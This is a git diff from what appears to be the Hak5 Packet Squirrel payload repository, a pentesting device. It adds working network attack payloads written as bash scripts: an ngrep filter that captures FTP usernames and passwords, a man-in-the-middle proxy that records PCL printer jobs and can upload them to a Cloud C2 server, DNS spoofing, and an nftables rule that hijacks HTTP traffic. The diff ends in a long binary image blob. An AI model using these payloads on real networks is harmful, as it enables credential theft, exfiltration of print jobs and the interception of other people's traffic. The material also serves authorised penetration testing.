# ngrep payload to snag creds NGREP_OPTIONS=("-wiql" "user|pass" "port" "21") diff --git a/payloads/library/sniffing/ngrep/readme.md b/legacy-mk1/payloads/library/sniffing/ngrep/readme.md similarity index 100% rename from payloads/library/sniffing/ngrep/readme.md rename to legacy-mk1/payloads/library/sniffing/ngrep/readme.md diff --git a/payloads/library/sniffing/tcpdump/payload.sh b/legacy-mk1/payloads/library/sniffing/tcpdump/payload.sh similarity index 91% rename from payloads/library/sniffing/tcpdump/payload.sh rename to legacy-mk1/payloads/library/sniffing/tcpdump/payload.sh index c7c4101..971624b 100755 --- a/payloads/library/sniffing/tcpdump/payload.sh +++ b/legacy-mk1/payloads/library/sniffing/tcpdump/payload.sh @@ -1,5 +1,8 @@ #!/bin/bash # +# This payload is for the original Packet Squirrel. It may not work on +# the Packet Squirrel Mark II +# # Title: TCPDump # Description: Dumps networking-data to USB storage. Completes on button-press or storage full. # Author: Hak5 diff --git a/payloads/switch1/payload.sh b/legacy-mk1/payloads/switch1/payload.sh similarity index 100% rename from payloads/switch1/payload.sh rename to legacy-mk1/payloads/switch1/payload.sh diff --git a/payloads/switch2/payload.sh b/legacy-mk1/payloads/switch2/payload.sh similarity index 100% rename from payloads/switch2/payload.sh rename to legacy-mk1/payloads/switch2/payload.sh diff --git a/payloads/switch3/payload.sh b/legacy-mk1/payloads/switch3/payload.sh similarity index 100% rename from payloads/switch3/payload.sh rename to legacy-mk1/payloads/switch3/payload.sh diff --git a/payloads/exfiltration/pcl_printer/payload b/payloads/exfiltration/pcl_printer/payload new file mode 100755 index 0000000..4e588e7 --- /dev/null +++ b/payloads/exfiltration/pcl_printer/payload @@ -0,0 +1,53 @@ +#!/bin/bash + +# Title: PCL Printer Capture +# Description: Capture PCL IP printer jobs with a dynamic proxy +# Author: Hak5 + +# To convert PCL files to PDF, use a tool like GhostPCL: +# https://ghostscript.com/releases/gpcldnld.html +# +# To convert a stream (captured-file.stream) to PDF (printed.pdf), use something +# like: +# ./gpcl6-1000-linux-x86_64 -o printed.pdf -sDEVICE=pdfwrite captured-file.stream + +# Do we automatically exfiltrate to Cloud C2? Uncomment to send files to your +# CloudC2 server automatically +# +# USE_C2=1 + +# By default, C2WATCHDIR removes files after they're sent. To keep them, uncomment +# C2_KEEP_FILES below +# +# C2_KEEP_FILES=1 + +LED SETUP + +NETMODE NAT + +# We have to have attached USB +USB_WAIT + +# Make sure the directory exists +mkdir /usb/printer/ + +# If USE_C2 isn't empty, we're uploading to CloudC2 +if [[ ! -z "$USE_C2" ]]; then + # If C2_KEEP_FILES is not empty, we want to preserve the + # files on USB, otherwise run C2WATCHDIR normally and delete + # the files after they are sent. + if [[ ! -z "$C2_KEEP_FILES" ]]; then + C2_KEEP_FILES=1 C2WATCHDIR /usb/printer/ & + else + C2WATCHDIR /usb/printer/ & + fi + + # Give C2WATCHDIR a moment to sync any old files that were present + sleep 3 +fi + +LED ATTACK + +# Use a dynamic proxy to MITM standard PCL IP printers +DYNAMICPROXY CLIENT /usb/printer/print_ 9100 + diff --git a/payloads/general/gatekeeper/payload b/payloads/general/gatekeeper/payload new file mode 100755 index 0000000..9b5ce90 --- /dev/null +++ b/payloads/general/gatekeeper/payload @@ -0,0 +1,32 @@ +#!/bin/bash + +# Title: Gatekeeper +# +# Description: Toggle access to the network with the pushbutton +# Author: Hak5 + +# Set the default network mode (such as NAT or BRIDGE) +NETWORK_MODE="BRIDGE" + +NETMODE ${NETWORK_MODE} + +LED G SOLID + +while true; do + # Run the buttom command with no LED; this way the LED stays + # solid green + NO_LED=1 BUTTON + + # Check the existing network mode; if we're not the right mode, + # send the target device to jail + if [ $(cat /tmp/squirrel_netmode) == "${NETWORK_MODE}" ]; then + LED R FAST + NETMODE JAIL + LED R SOLID + else + # Set the network mode back to our normal mode + LED G FAST + NETMODE ${NETWORK_MODE} + LED G SOLID + fi +done diff --git a/payloads/interception/dns_sinkhole/payload b/payloads/interception/dns_sinkhole/payload new file mode 100755 index 0000000..93c7064 --- /dev/null +++ b/payloads/interception/dns_sinkhole/payload @@ -0,0 +1,14 @@ +#!/bin/bash + +# Title: DNS Sinkhole +# Description: Demonstrate sinkholing a DNS domain (hak5.org) +# Author: Hak5 + +# This payload will intercept any requests for a *.hak5.org domain +# and redirect them to localhost (127.0.0.1 for IPv4 or ::1 for IPv6) + +NETMODE BRIDGE + +LED R SINGLE + +SPOOFDNS br-lan '.*.hak5.org=127.0.0.1' 'hak5.org=127.0.0.1' '.*.hak5.org=::1' 'hak5.org=::1' diff --git a/payloads/interception/web_intercept/payload b/payloads/interception/web_intercept/payload new file mode 100755 index 0000000..fc8da16 --- /dev/null +++ b/payloads/interception/web_intercept/payload @@ -0,0 +1,30 @@ +#!/bin/bash + +# Title: Minimalistic web intercept +# Description: Replace HTTP with Squirrels. +# Author: Hak5 +# +# squirrel.jpg from Wikipedia +# https://upload.wikimedia.org/wikipedia/commons/6/68/Sciuridae.jpg +# By Chicoutimi (montage)KarakalAndiWNational Park Serviceen +# User:Markus KrötzschThe Lilac Breasted RollerNico Conradie from Centurion, +# South AfricaHans HillewaertSylvouilleNational Park Service - Own work, CC BY 3.0, +# https://commons.wikimedia.org/w/index.php?curid=10213698 + +NETMODE NAT +LED B SOLID + +# Add a web payload to the nftables +nft add table ip webpayload + +# Hook prerouting +nft -- add chain ip webpayload prerouting { type nat hook prerouting priority -100 \; } + +# Redirect port 80 to our local 8080 +nft add rule ip webpayload prerouting tcp dport 80 redirect to :8080 + +while true; + do echo -e "HTTP/1.1 200 OK\nContent-Type: image/jpeg\n" | \ + cat - /root/payloads/$(SWITCH)/squirrel.jpg | \ + netcat -l -p 8080; +done diff --git a/payloads/interception/web_intercept/squirrel.jpg b/payloads/interception/web_intercept/squirrel.jpg new file mode 100644 index 0000000000000000000000000000000000000000..5a9ab26386344a5ab0c5feed50bc0920c67c51ba GIT binary patch literal 134692 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 